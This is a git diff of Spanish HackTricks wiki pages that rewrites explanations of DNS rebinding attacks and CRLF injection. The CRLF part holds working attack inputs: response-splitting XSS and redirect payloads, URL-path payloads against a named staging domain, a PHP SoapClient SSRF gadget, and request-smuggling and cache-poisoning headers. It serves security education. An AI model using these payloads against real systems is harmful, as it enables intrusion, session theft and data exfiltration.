página: +Puedes **evitar las comprobaciones CORS** como `e.origin === window.origin` al **crear un iframe** y **desde él abrir una nueva ventana**. Más información en la siguiente página: {% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} [iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md) {% endcontent-ref %} -### DNS Rebinding via TTL +### Rebinding de DNS a través de TTL -![](<../.gitbook/assets/image (108).png>) +El rebinding de DNS a través de TTL es una técnica utilizada para evitar ciertas medidas de seguridad al manipular registros DNS. Así es como funciona: -Básicamente haces que la **víctima acceda a tu página**, luego cambias el **DNS de tu dominio (la IP)** y haces que **apunte** a la **página web de tu víctima**. Haces que tu **víctima ejecute** (**JS**) algo cuando el **TTL se acabe** para que se realice una nueva solicitud de DNS y entonces podrás recopilar la información (ya que siempre mantendrás **al usuario en tu dominio**, no enviará **ninguna cookie** al servidor de la víctima, por lo que esta opción **abusa de los privilegios especiales de la IP de la víctima**). +1. El atacante crea una página web y hace que la víctima la acceda. +2. Luego, el atacante cambia el DNS (IP) de su propio dominio para que apunte a la página web de la víctima. +3. El navegador de la víctima almacena en caché la respuesta DNS, que puede tener un valor TTL (Tiempo de Vida) que indica cuánto tiempo debe considerarse válido el registro DNS. +4. Cuando el TTL expira, el navegador de la víctima realiza una nueva solicitud DNS, lo que permite al atacante ejecutar código JavaScript en la página de la víctima. +5. Al mantener el control sobre la IP de la víctima, el atacante puede recopilar información de la víctima sin enviar cookies al servidor de la víctima. -Incluso si configuras el **TTL muy bajo** (0 o 1), los **navegadores tienen una caché** que te **impedirá** **abusar** de esto durante varios segundos/minutos. +Es importante tener en cuenta que los navegadores tienen mecanismos de almacenamiento en caché que pueden evitar el abuso inmediato de esta técnica, incluso con valores TTL bajos. -Por lo tanto, esta técnica es útil para **burlar comprobaciones explícitas** (la víctima está **realizando explícitamente una solicitud de DNS** para verificar la IP del dominio y cuando se llama al bot, él hará su propia solicitud). +El rebinding de DNS puede ser útil para evitar comprobaciones explícitas de IP realizadas por la víctima o para escenarios en los que un usuario o bot permanece en la misma página durante un período prolongado, permitiendo que caduque la caché. -O cuando puedes tener a un **usuario/bot en la misma página durante mucho tiempo** (así puedes **esperar** hasta que la **caché expire**). +Si necesitas una forma rápida de abusar del rebinding de DNS, puedes utilizar servicios como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html). -Si necesitas algo rápido para abusar de esto puedes usar un servicio como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html). +Para ejecutar tu propio servidor de rebinding de DNS, puedes utilizar herramientas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Esto implica exponer tu puerto local 53/udp, crear un registro A que apunte a él (por ejemplo, ns.example.com) y crear un registro NS que apunte al subdominio A creado anteriormente (por ejemplo, ns.example.com). Cualquier subdominio del subdominio ns.example.com se resolverá entonces en tu host. -Si quieres ejecutar tu propio servidor de DNS rebinding puedes usar algo como [**DNSrebinder**](https://github.com/mogwailabs/DNSrebinder)**,** luego **exponer** tu **puerto local 53/udp**, crear un **registro A apuntando a él** (ns.example.com), y crear un **registro NS** apuntando al **subdominio A creado previamente**(ns.example.com).\ -Entonces, cualquier subdominio de ese subdominio (ns.example.com), será resuelto por tu host. +También puedes explorar un servidor en funcionamiento públicamente en [http://rebind.it/singularity.html](http://rebind.it/singularity.html) para obtener una mayor comprensión y experimentación. -Consulta también el **servidor público en funcionamiento en** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) +### Rebinding de DNS a través de **Cache** -### DNS Rebinding via **Inundación de Caché de DNS** +Otra forma de evitar la defensa de almacenamiento en caché es utilizando múltiples direcciones IP para el mismo subdominio en el proveedor DNS. Así es como funciona: -Como se explicó en la sección anterior, los **navegadores** tienen las IPs de los dominios **en caché más tiempo** del especificado en el TTL. Sin embargo, hay una forma de burlar esta defensa. +1. El atacante configura dos registros A (o un solo registro A con dos IPs) para el mismo subdominio en el proveedor DNS. +2. Cuando un navegador verifica estos registros, recibe ambas direcciones IP. +3. Si el navegador decide usar primero la dirección IP del atacante, este puede servir un payload que realice solicitudes HTTP al mismo dominio. +4. Sin embargo, una vez que el atacante obtiene la dirección IP de la víctima, deja de responder al navegador de la víctima. +5. El navegador de la víctima, al darse cuenta de que el dominio no responde, pasa a utilizar la segunda dirección IP proporcionada. +6. Al acceder a la segunda dirección IP, el navegador evita la Política de Mismo Origen (SOP), lo que permite al atacante abusar de esto y recopilar y extraer información. -Puedes tener un service worker que **inunde la caché de DNS para forzar una segunda solicitud de DNS**. Entonces el flujo será como sigue: - -1. Solicitud de DNS respondida con dirección del atacante -2. Service worker inunda la caché de DNS (se elimina el nombre del servidor atacante en caché) -3. Segunda solicitud de DNS esta vez respondida con 127.0.0.1 - -![](<../.gitbook/assets/image (375) (1).png>) - -_El azul es la primera solicitud de DNS y el naranja es la inundación._ - -### DNS Rebinding via **Caché** - -Como se explicó en la sección anterior, los **navegadores** tienen las IPs de los dominios **en caché más tiempo** del especificado en el TTL. Sin embargo, hay otra forma de burlar esta defensa. - -Puedes **crear 2 registros A** (o **1 con 2 IPs**, dependiendo del proveedor) para el **mismo subdominio** en el **proveedor de DNS** y cuando un navegador los verifique, obtendrá ambos. - -Ahora, si el **navegador** decide **usar primero la dirección IP del atacante**, el **atacante** podrá **servir** el **payload** que **realizará solicitudes HTTP** al mismo **dominio**. Sin embargo, ahora que el atacante conoce la IP de la víctima, **dejará de responder al navegador de la víctima**. - -Cuando el navegador descubre que el **dominio no le está respondiendo**, **usará la segunda IP dada**, por lo que **accederá a un lugar diferente burlando SOP**. El atacante puede abusar de eso para **obtener la información y exfiltrarla**. +Esta técnica aprovecha el comportamiento de los navegadores cuando se proporcionan múltiples direcciones IP para un dominio. Al controlar estratégicamente las respuestas y manipular la elección de la dirección IP del navegador, un atacante puede explotar la SOP y acceder a información de la víctima. {% hint style="warning" %} -Ten en cuenta que para acceder a localhost deberías intentar reasignar **127.0.0.1** en Windows y **0.0.0.0** en Linux.\ -Proveedores como godaddy o cloudflare no me permitieron usar la ip 0.0.0.0, pero AWS route53 me permitió crear un registro A con 2 IPs siendo una de ellas "0.0.0.0" +Ten en cuenta que para acceder a localhost debes intentar reasignar **127.0.0.1** en Windows y **0.0.0.0** en Linux.\ +Proveedores como godaddy o cloudflare no me permitieron usar la IP 0.0.0.0, pero AWS route53 me permitió crear un registro A con 2 IPs siendo una de ellas "0.0.0.0" {% endhint %} -![](<../.gitbook/assets/image (620) (4).png>) +Para obtener más información, puedes consultar [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) -Para más información puedes consultar [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) +### Otros Bypass Comunes -### Otras Burlas Comunes +* Si no se permiten **IPs internas**, es posible que **olvidaran prohibir 0.0.0.0** (funciona en Linux y Mac) +* Si no se permiten **IPs internas**, responde con un **CNAME** a **localhost** (funciona en Linux y Mac) +* Si no se permiten **IPs internas** como respuestas DNS, puedes responder **CNAMEs a servicios internos** como www.corporate.internal. -* Si **no se permiten IPs internas**, podrían **olvidar prohibir 0.0.0.0** (funciona en Linux y Mac) -* Si **no se permiten IPs internas**, responde con un **CNAME** a **localhost** (funciona en Linux y Mac) -* Si **no se permiten IPs internas** como respuestas de DNS, puedes responder con **CNAMEs a servicios internos** como www.corporate.internal. +### Rebinding de DNS Weaponizado -### DNS Rebidding Armado +Puedes encontrar más información sobre las técnicas de bypass anteriores y cómo utilizar la siguiente herramienta en la charla [Gerald Doussot - Estado de los Ataques de Rebinding de DNS y Singularidad de Origen - Conferencia DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ). -Puedes encontrar más información sobre las técnicas de burla anteriores y cómo usar la siguiente herramienta en la charla [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ). +[**`Singularidad de Origen`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [rebinding de DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Incluye los componentes necesarios para reasignar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir payloads de ataque para explotar software vulnerable en la máquina objetivo. -[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Incluye los componentes necesarios para reasignar la dirección IP del nombre de DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir payloads de ataque para explotar software vulnerable en la máquina objetivo. +### Protección Real contra Rebinding de DNS -### Protección Real contra DNS Rebinding - -* Usa TLS en servicios internos -* Solicita autenticación para acceder a datos +* Utiliza TLS en servicios internos +* Solicita autenticación para acceder a los datos * Valida el encabezado Host * [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Propuesta para enviar siempre una solicitud previa cuando los servidores públicos quieran acceder a servidores internos ## **Herramientas** -**Fuzz posibles malas configuraciones en políticas de CORS** +**Prueba posibles configuraciones incorrectas en las políticas CORS** * [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner) * [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer) @@ -391,33 +362,12 @@ Puedes encontrar más información sobre las técnicas de burla anteriores y có * [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe) ## Referencias - -{% embed url="https://portswigger.net/web-security/cors" %} - -{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %} - -{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %} - -{% embed url="https://www.codecademy.com/articles/what-is-cors" %} - -{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %} - -{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %} - -{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %} - -{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %} - -
- -Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! - -Otras formas de apoyar a HackTricks: - -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github. - -
+* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors) +* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin) +* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS) +* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) +* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors) +* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors) +* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646) +* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration) +* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b) diff --git a/pentesting-web/crlf-0d-0a.md b/pentesting-web/crlf-0d-0a.md index da10f6fe3..f402f782b 100644 --- a/pentesting-web/crlf-0d-0a.md +++ b/pentesting-web/crlf-0d-0a.md @@ -2,87 +2,73 @@
-Aprende a hackear en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red de HackTricks AWS)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
-Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_). +Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_). {% embed url="https://www.stmcyber.com/careers" %} -## ¿Qué es CRLF? +### CRLF -Cuando un navegador envía una solicitud a un servidor web, el servidor responde con una respuesta que contiene tanto los encabezados de respuesta HTTP como el contenido real del sitio web, es decir, el cuerpo de la respuesta. Los encabezados HTTP y la respuesta HTML (el contenido del sitio web) están separados por una combinación específica de caracteres especiales, a saber, un retorno de carro y un salto de línea. En resumen, también se conocen como CRLF. +Carriage Return (CR) y Line Feed (LF), conocidos colectivamente como CRLF, son secuencias de caracteres especiales utilizadas en el protocolo HTTP para denotar el final de una línea o el inicio de una nueva. Los servidores web y los navegadores utilizan CRLF para distinguir entre las cabeceras HTTP y el cuerpo de una respuesta. Estos caracteres se emplean universalmente en las comunicaciones HTTP/1.1 en varios tipos de servidores web, como Apache y Microsoft IIS. -El servidor web utiliza el CRLF para entender cuándo comienza un nuevo encabezado HTTP y termina otro. El CRLF también puede indicarle a una aplicación web o a un usuario que una nueva línea comienza en un archivo o en un bloque de texto. Los caracteres CRLF son un mensaje estándar HTTP/1.1, por lo que es utilizado por cualquier tipo de servidor web, incluyendo Apache, Microsoft IIS y todos los demás.\ -De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/) +### Vulnerabilidad de Inyección de CRLF -### ¿Qué es la Vulnerabilidad de Inyección de CRLF? +La inyección de CRLF implica la inserción de los caracteres CR y LF en una entrada proporcionada por el usuario. Esta acción engaña al servidor, la aplicación o el usuario haciéndoles interpretar la secuencia inyectada como el final de una respuesta y el comienzo de otra. Aunque estos caracteres no son inherentemente dañinos, su mal uso puede llevar a la división de respuestas HTTP y otras actividades maliciosas. -En un ataque de vulnerabilidad de inyección de CRLF, el atacante inserta tanto el retorno de carro como los caracteres de salto de línea en la entrada del usuario para engañar al servidor, la aplicación web o al usuario haciéndoles creer que un objeto ha terminado y otro ha comenzado. Como tales, las secuencias de CRLF no son caracteres maliciosos, sin embargo, pueden ser utilizados con intenciones maliciosas, para la división de respuestas HTTP, etc. +### Ejemplo: Inyección de CRLF en un Archivo de Registro -## Inyección de CRLF en aplicaciones web +[Ejemplo de aquí](https://www.invicti.com/blog/web-security/crlf-http-header/) -En aplicaciones web, una inyección de CRLF puede tener impactos graves, dependiendo de lo que la aplicación haga con los elementos individuales. Los impactos pueden variar desde la divulgación de información hasta la ejecución de código, una vulnerabilidad de seguridad de aplicación web de impacto directo. De hecho, un ataque de inyección de CRLF puede tener repercusiones muy serias en una aplicación web, aunque nunca haya sido listado en el Top 10 de OWASP. Por ejemplo, también es posible manipular archivos de registro en un panel de administración como se explica en el siguiente ejemplo. - -#### Un ejemplo de Inyección de CRLF en un archivo de registro - -Imagina un archivo de registro en un panel de administración con el patrón de flujo de salida de IP - Hora - Ruta Visitada, como el siguiente: +Considera un archivo de registro en un panel de administración que sigue el formato: `IP - Hora - Ruta Visitada`. Una entrada típica podría ser: ``` 123.123.123.123 - 08:15 - /index.php?page=home ``` -Si un atacante puede inyectar los caracteres CRLF en la solicitud HTTP, puede cambiar el flujo de salida y falsificar las entradas del registro. Puede cambiar la respuesta de la aplicación web a algo como lo siguiente: +Un atacante puede explotar una inyección de CRLF para manipular este registro. Al inyectar caracteres CRLF en la solicitud HTTP, el atacante puede alterar el flujo de salida y fabricar entradas de registro. Por ejemplo, una secuencia inyectada podría transformar la entrada de registro en: ``` /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` -Los %0d y %0a son las formas codificadas en URL de CR y LF. Por lo tanto, las entradas de registro se verían así después de que el atacante insertara esos caracteres y la aplicación los muestre: - -IP - Hora - Ruta Visitada +Aquí, `%0d` y `%0a` representan las formas codificadas en URL de CR y LF. Después del ataque, el registro mostraría de forma engañosa: ``` +IP - Time - Visited Path + 123.123.123.123 - 08:15 - /index.php?page=home& 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` -Por lo tanto, al explotar una vulnerabilidad de inyección CRLF, el atacante puede falsificar entradas en el archivo de registro para ofuscar sus propias acciones maliciosas. El atacante está literalmente realizando secuestro de página y modificando la respuesta. Por ejemplo, imagina un escenario donde el atacante tiene la contraseña de administrador y ejecutó el parámetro restrictedaction, que solo puede ser utilizado por un administrador. +El atacante oculta sus actividades maliciosas haciendo que parezca que el localhost (una entidad típicamente confiable dentro del entorno del servidor) realizó las acciones. El servidor interpreta la parte de la consulta que comienza con `%0d%0a` como un único parámetro, mientras que el parámetro `restrictedaction` se analiza como otra entrada separada. La consulta manipulada imita efectivamente un comando administrativo legítimo: `/index.php?page=home&restrictedaction=edit` -El problema es que si el administrador se da cuenta de que una IP desconocida utilizó el parámetro restrictedaction, notará que algo está mal. Sin embargo, dado que ahora parece que el comando fue emitido por el localhost (y por lo tanto probablemente por alguien que tiene acceso al servidor, como un administrador) no parece sospechoso. -Toda la parte de la consulta que comienza con %0d%0a será manejada por el servidor como un parámetro. Después de eso hay otro & con el parámetro restricted action que será interpretado por el servidor como otro parámetro. Efectivamente, esta sería la misma consulta que: -``` -/index.php?page=home&restrictedaction=edit -``` ### División de Respuesta HTTP #### Descripción -Dado que el encabezado de una respuesta HTTP y su cuerpo están separados por caracteres CRLF, un atacante puede intentar inyectarlos. Una combinación de CRLFCRLF le indicará al navegador que el encabezado termina y el cuerpo comienza. Eso significa que ahora es capaz de escribir datos dentro del cuerpo de la respuesta donde se almacena el código html. Esto puede llevar a una vulnerabilidad de Cross-site Scripting. +La División de Respuesta HTTP es una vulnerabilidad de seguridad que surge cuando un atacante explota la estructura de las respuestas HTTP. Esta estructura separa los encabezados del cuerpo utilizando una secuencia de caracteres específica, Retorno de Carro (CR) seguido de Avance de Línea (LF), colectivamente denominado como CRLF. Si un atacante logra insertar una secuencia CRLF en un encabezado de respuesta, puede manipular efectivamente el contenido de la respuesta subsiguiente. Este tipo de manipulación puede llevar a problemas de seguridad graves, especialmente Cross-site Scripting (XSS). -#### Un ejemplo de División de Respuesta HTTP que conduce a XSS +#### XSS a través de la División de Respuesta HTTP -Imagina una aplicación que establece un encabezado personalizado, por ejemplo: -``` -X-Your-Name: Bob -``` -El valor del encabezado se establece a través de un parámetro get llamado "name". Si no hay codificación de URL en su lugar y el valor se refleja directamente dentro del encabezado, podría ser posible para un atacante insertar la combinación mencionada anteriormente de CRLFCRLF para indicarle al navegador que comienza el cuerpo de la solicitud. De esa manera, puede insertar datos como XSS payload, por ejemplo: -``` -?name=Bob%0d%0a%0d%0a -``` -El anterior mostrará una ventana de alerta en el contexto del dominio atacado. +1. La aplicación establece un encabezado personalizado de esta manera: `X-Custom-Header: UserInput` +2. La aplicación obtiene el valor para `UserInput` de un parámetro de consulta, digamos "user_input". En escenarios que carecen de una validación adecuada de la entrada y codificación, un atacante puede crear un payload que incluya la secuencia CRLF, seguida de contenido malicioso. +3. Un atacante crea una URL con un 'user_input' especialmente diseñado: `?user_input=Value%0d%0a%0d%0a` +- En esta URL, `%0d%0a%0d%0a` es la forma codificada en URL de CRLFCRLF. Engaña al servidor para que inserte una secuencia CRLF, haciendo que el servidor trate la parte subsiguiente como el cuerpo de la respuesta. +4. El servidor refleja la entrada del atacante en el encabezado de respuesta, lo que lleva a una estructura de respuesta no deseada donde el script malicioso es interpretado por el navegador como parte del cuerpo de la respuesta. -#### Un ejemplo de HTTP Response Splitting que conduce a Redirección +#### Un ejemplo de División de Respuesta HTTP que conduce a una Redirección -{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %} +Desde [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62) -Navegar a: +Navegador a: ``` /%0d%0aLocation:%20http://myweb.com ``` @@ -96,27 +82,26 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT ``` #### En la ruta URL -Puedes enviar el payload **dentro de la ruta URL** para controlar la **respuesta** del servidor: +Puedes enviar la carga útil **dentro de la ruta URL** para controlar la **respuesta** del servidor (ejemplo de [aquí](https://hackerone.com/reports/192667)): ``` http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` +Ver más ejemplos en: + {% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} -### Inyección de Encabezados HTTP +### Inyección de Cabeceras HTTP -#### Descripción +La Inyección de Cabeceras HTTP, a menudo explotada a través de la inyección CRLF (retorno de carro y avance de línea), permite a los atacantes insertar cabeceras HTTP. Esto puede socavar mecanismos de seguridad como los filtros XSS (Cross-Site Scripting) o la política SOP (Same-Origin Policy), lo que potencialmente lleva a un acceso no autorizado a datos sensibles, como tokens CSRF, o la manipulación de sesiones de usuario a través de la inserción de cookies. -Al explotar una inyección CRLF, un atacante también puede insertar encabezados HTTP que podrían utilizarse para derrotar mecanismos de seguridad como el filtro XSS de un navegador o la política de mismo origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede configurar cookies que podrían ser explotadas al iniciar sesión de la víctima en la cuenta del atacante o al explotar vulnerabilidades de [cross-site scripting (XSS)](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/) que de otro modo no serían explotables. +#### Explotando CORS a través de la Inyección de Cabeceras HTTP -#### Un ejemplo de Inyección de Encabezados HTTP para extraer datos sensibles +Un atacante puede inyectar cabeceras HTTP para habilitar CORS (Cross-Origin Resource Sharing), eludiendo las restricciones impuestas por SOP. Esta vulnerabilidad permite que scripts de orígenes maliciosos interactúen con recursos de un origen diferente, potencialmente accediendo a datos protegidos. -Si un atacante puede inyectar los encabezados HTTP que activan CORS (Cross Origin Resource Sharing), puede usar javascript para acceder a recursos que de otro modo estarían protegidos por SOP (Same Origin Policy), que impide que sitios de diferentes orígenes accedan entre sí. +#### SSRF e Inyección de Solicitudes HTTP a través de CRLF -### Nueva solicitud HTTP en SSRF - -Abusando de la inyección CRLF puedes **crear una nueva solicitud HTTP e inyectarla**.\ -Un buen ejemplo se puede realizar utilizando el gadget de deserialización `SoapClient` en PHP. Esta clase es **vulnerable a CRLF** dentro del parámetro `user_agent` permitiendo **insertar nuevos encabezados y contenido del cuerpo**. Sin embargo, incluso podrías ser capaz de abusar de esta vulnerabilidad para **inyectar una nueva solicitud HTTP:** +La inyección CRLF se puede utilizar para crear e inyectar una solicitud HTTP completamente nueva. Un ejemplo notable de esto es la vulnerabilidad en la clase `SoapClient` de PHP, específicamente dentro del parámetro `user_agent`. Al manipular este parámetro, un atacante puede insertar cabeceras adicionales y contenido del cuerpo, o incluso inyectar una nueva solicitud HTTP por completo. A continuación se muestra un ejemplo en PHP que demuestra esta explotación: ```php $target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; @@ -138,59 +123,66 @@ array( ) ); -#Put a nc listening in port 9090 +# Put a netcat listener on port 9090 $client->__soapCall("test", []); ``` -### Inyección de Encabezados para el Contrabando de Solicitudes +### Inyección de encabezados para Request Smuggling -Puedes inyectar encabezados esenciales para asegurar que el **back-end mantenga la conexión abierta** después de responder a la solicitud inicial: +Para obtener más información sobre esta técnica y los problemas potenciales, [**consulte la fuente original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning). + +Puede inyectar encabezados esenciales para asegurar que el **back-end mantenga la conexión abierta** después de responder a la solicitud inicial: ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` -Entonces, **especifique una segunda solicitud**. Aquí tiene un **clásico** [**request smuggling**](http-request-smuggling/) con **encabezados/cuerpo extra** añadidos por el servidor después de la inyección. -Aquí hay dos de las muchas opciones para la explotación entre usuarios. +Posteriormente, se puede especificar una segunda solicitud. Este escenario generalmente implica [HTTP request smuggling](http-request-smuggling/), una técnica donde encabezados adicionales o elementos de cuerpo añadidos por el servidor post-inyección pueden llevar a diversas explotaciones de seguridad. -Especificar un **prefijo malicioso** para envenenar la solicitud del siguiente usuario o una caché web: +**Explotación:** + +1. **Inyección de Prefijo Malicioso**: Este método implica envenenar la próxima solicitud del usuario o una caché web especificando un prefijo malicioso. Un ejemplo de esto es: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1` -O elaborar nuestro prefijo para combinarlo con la basura final y crear una segunda solicitud completa para desencadenar **response queue poisoning**. +2. **Creación de un Prefijo para Envenenamiento de la Cola de Respuestas**: Este enfoque implica crear un prefijo que, combinado con basura adicional, forme una segunda solicitud completa. Esto puede desencadenar el envenenamiento de la cola de respuestas. Un ejemplo es: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` -Para más información sobre esta técnica y problemas potenciales [**consulte la fuente original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning). - ### Inyección en Memcache -Memcache es un **almacén de clave-valor que utiliza un protocolo de texto claro**. Más información en: +Memcache es un **almacenamiento de clave-valor que utiliza un protocolo de texto claro**. Más información en: {% content-ref url="../network-services-pentesting/11211-memcache/" %} [11211-memcache](../network-services-pentesting/11211-memcache/) {% endcontent-ref %} -Si una plataforma está tomando **datos de una solicitud HTTP y usándolos sin desinfectar** para realizar **solicitudes** a un servidor de **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos de memcache**. +**Para obtener la información completa, lee el** [**informe original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) -Por ejemplo, en la vulnerabilidad original descubierta, las claves de caché se usaban para devolver la IP y el puerto a los que un usuario debería conectarse, y los atacantes pudieron **inyectar comandos de memcache** que **envenenarían** la **caché para enviar los detalles de las víctimas** (incluidos nombres de usuario y contraseñas) a los servidores del atacante: +Si una plataforma está tomando **datos de una solicitud HTTP y usándolos sin sanitizar** para realizar **solicitudes** a un servidor **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos de memcache**. -
